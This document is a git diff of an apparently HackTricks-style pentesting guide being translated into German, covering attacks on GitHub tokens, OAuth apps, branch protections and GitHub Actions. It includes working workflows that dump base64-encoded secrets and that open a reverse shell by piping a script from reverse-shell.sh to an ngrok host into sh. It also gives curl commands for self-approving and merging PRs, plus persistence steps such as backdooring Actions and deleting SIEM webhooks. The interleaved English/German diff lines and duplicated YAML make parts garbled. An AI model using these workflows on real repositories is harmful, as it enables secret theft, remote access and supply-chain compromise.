Ein Benutzer-Token kann **anstatt eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.
|
||||
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
### Mit Oauth-Anwendung
|
||||
|
||||
### With Oauth Application
|
||||
Für eine Einführung über [**Github Oauth-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#oauth-applications).
|
||||
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Dies sind die [Scopes, die eine Oauth-Anwendung anfordern kann](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Man sollte immer die angeforderten Scopes überprüfen, bevor man sie akzeptiert.
|
||||
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
### Mit Github-Anwendung
|
||||
|
||||
### With Github Application
|
||||
Für eine Einführung über [**Github-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#github-applications).
|
||||
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren.
|
||||
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
## Kompromittierung & Missbrauch von Github Action
|
||||
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
Es gibt mehrere Techniken, um eine Github Action zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Branch Protection Bypass
|
||||
## Umgehung des Branch-Schutzes
|
||||
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
- **Erforderliche Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github Action**-Umgebung im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
|
||||
- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass ein Benutzer normalerweise seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
|
||||
- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht festgelegt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und in den geschützten Branch zusammenführen.
|
||||
- **Überprüfungen von Code-Eigentümern anfordern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github Action erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
|
||||
- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber sie wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
|
||||
- **Erlauben Sie bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen.
|
||||
- **Administratoren einbeziehen**: Wenn dies nicht festgelegt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen.
|
||||
- **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, indem Sie bösartigen Code hinzufügen, die resultierende PR selbst genehmigen und alles zusammenführen.
|
||||
- **Entfernen von Branch-Schutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren.
|
||||
- **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenführen) in Branches zu senden (der Branch-Schutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird).
|
||||
- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github Action erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github Action ausführen**.
|
||||
|
||||
## Bypass Environments Protections
|
||||
## Umgehung von Umgebungs-Schutzmaßnahmen
|
||||
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
Für eine Einführung über [**Github-Umgebungen siehe die grundlegenden Informationen**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie auf Repos stoßen könnten, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github Action erstellen (oder eine vorhandene ändern).
|
||||
|
||||
Beachten Sie, dass Sie auf den Grenzfall stoßen könnten, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github Action ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github Action ausgelöst wird**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf den neuen Branch angewendet wird** und Sie ihn nicht mehr ändern können, aber zu diesem Zeitpunkt haben Sie bereits die Geheimnisse extrahiert.
|
||||
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
## Persistenz
|
||||
|
||||
## Persistence
|
||||
- Generieren Sie **Benutzertoken**
|
||||
- Stehlen Sie **Github-Tokens** aus **Secrets**
|
||||
- **Löschung** von Workflow-**Ergebnissen** und **Branches**
|
||||
- Gewähren Sie **mehr Berechtigungen für die gesamte Organisation**
|
||||
- Erstellen Sie **Webhooks**, um Informationen zu exfiltrieren
|
||||
- Laden Sie **außenstehende Mitarbeiter** ein
|
||||
- **Entfernen** Sie **Webhooks**, die vom **SIEM** verwendet werden
|
||||
- Erstellen/Ändern Sie **Github Action** mit einem **Hintertür**
|
||||
- Finden Sie **anfällige Github Action für Befehlsinjektion** durch **Änderung** des **Secret**-Werts
|
||||
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
### Imposter Commits - Hintertür über Repo-Commits
|
||||
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, das nicht vom Eigentümer des Repos erstellt wurde**.
|
||||
|
||||
Wie [**dies**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
Für weitere Informationen siehe [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,391 +2,373 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
In this page you will find:
|
||||
Auf dieser Seite finden Sie:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- Eine **Zusammenfassung aller Auswirkungen**, wenn es einem Angreifer gelingt, auf eine Github Action zuzugreifen
|
||||
- Verschiedene Möglichkeiten, um **Zugriff auf eine Action zu erhalten**:
|
||||
- Berechtigungen zum Erstellen der Action haben
|
||||
- Missbrauch von **Pull-Request**-bezogenen Triggern
|
||||
- Missbrauch von **anderen externen Zugriffstechniken**
|
||||
- **Pivoting** von einem bereits kompromittierten Repo
|
||||
- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (um die genannten Auswirkungen zu verursachen)
|
||||
|
||||
## Impacts Summary
|
||||
## Zusammenfassung der Auswirkungen
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
Für eine Einführung über [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline zu missbrauchen**, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
|
||||
- **Deployments** und andere **Artefakte** zu kompromittieren.
|
||||
- Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht.
|
||||
- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivotieren.
|
||||
- **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird gegeben, wenn der Administrator diese Option aktiviert:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Dieses Token ist dasselbe, das eine **Github-Anwendung verwenden wird**, sodass es auf dieselben Endpunkte zugreifen kann: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository**-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Sie können die möglichen **Berechtigungen** dieses Tokens hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Beachten Sie, dass das Token **nach Abschluss des Jobs abläuft**.\
|
||||
Diese Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Einige interessante Dinge, die Sie mit diesem Token tun können:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
{{#tab name="PR genehmigen" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
{{#tab name="PR erstellen" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen oder in den Geheimnissen von Github Actions** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Geheimnisse im Github Action-Ausgang auflisten</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Erhalte eine Reverse-Shell mit Geheimnissen</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
Es ist möglich, die Berechtigungen, die einem Github-Token in den Repositories anderer Benutzer gegeben wurden, **durch Überprüfung der Protokolle** der Aktionen zu überprüfen:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## Erlaubte Ausführung
|
||||
|
||||
> [!NOTE]
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
> Dies wäre der einfachste Weg, Github-Aktionen zu kompromittieren, da dieser Fall voraussetzt, dass Sie **ein neues Repo in der Organisation erstellen** können oder **Schreibrechte über ein Repository** haben.
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> Wenn Sie sich in diesem Szenario befinden, können Sie einfach die [Post Exploitation-Techniken](./#post-exploitation-techniques-from-inside-an-action) überprüfen.
|
||||
|
||||
### Execution from Repo Creation
|
||||
### Ausführung aus der Repo-Erstellung
|
||||
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Github-Aktionen ausführen können, können Sie **ein neues Repo erstellen und die auf Organisationsebene festgelegten Geheimnisse stehlen**.
|
||||
|
||||
### Execution from a New Branch
|
||||
### Ausführung aus einem neuen Branch
|
||||
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Repository- und Organisationsebene Geheimnisse exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).
|
||||
|
||||
Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
|
||||
> [!NOTE]
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** **auszuführen**. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
> Da die **Standardbeschränkung** für **Erstbeitragsleistende** gilt, könnten Sie **einen gültigen Bug/Tippfehler beheben** und dann **andere PRs senden, um Ihre neuen `pull_request`-Befugnisse auszunutzen**.
|
||||
>
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und dessen Konto gelöscht wurde.~~
|
||||
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** für das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**.
|
||||
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
